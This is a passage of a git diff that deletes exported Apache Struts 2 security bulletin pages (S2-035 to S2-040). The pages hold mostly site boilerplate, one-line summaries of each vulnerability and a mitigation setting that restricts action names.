-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=63930371">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=63930371">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=63930371">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=63930371">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-035-Summary">Summary</h2>Action name clean up is error prone<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-036.html b/content/docs/s2-036.html
deleted file mode 100644
index 441b759..0000000
--- a/content/docs/s2-036.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-036</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-036.html">S2-036</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-036</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64553424">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64553424">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64553424">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64553424">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64553424">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64553424">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-036-Summary">Summary</h2>Forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution (similar to S2-029)<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" cl [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-037.html b/content/docs/s2-037.html
deleted file mode 100644
index 1e3ecca..0000000
--- a/content/docs/s2-037.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-037</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-037.html">S2-037</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-037</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64553426">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64553426">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64553426">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64553426">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64553426">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64553426">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-037-Summary">Summary</h2>Remote Code Execution can be performed when using REST Plugin.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rows [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-038.html b/content/docs/s2-038.html
deleted file mode 100644
index 3b83ad8..0000000
--- a/content/docs/s2-038.html
+++ /dev/null
@@ -1,154 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-038</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-038.html">S2-038</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-038</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554066">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554066">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554066">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554066">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554066">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554066">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-038-Summary">Summary</h2>It is possible to bypass token validation and perform a CSRF attack<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.allowed.action.names" value="[a-zA-Z]*" /&gt;</pre>
-</div></div><p>Please adjust the RegEx to your action naming pattern, it should be as narrowed as possible.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-039.html b/content/docs/s2-039.html
deleted file mode 100644
index 0d88c21..0000000
--- a/content/docs/s2-039.html
+++ /dev/null
@@ -1,154 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-039</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-039.html">S2-039</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-039</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554069">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554069">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554069">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554069">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554069">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554069">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-039-Summary">Summary</h2>Getter as action method leads to security bypass<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class= [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.allowed.action.names" value="[a-zA-Z]*" /&gt;</pre>
-</div></div><p>Please adjust the RegEx to your action naming pattern, it should be as narrowed as possible.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-040.html b/content/docs/s2-040.html
deleted file mode 100644
index e8d88d9..0000000
--- a/content/docs/s2-040.html
+++ /dev/null
@@ -1,154 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-040</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-040.html">S2-040</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
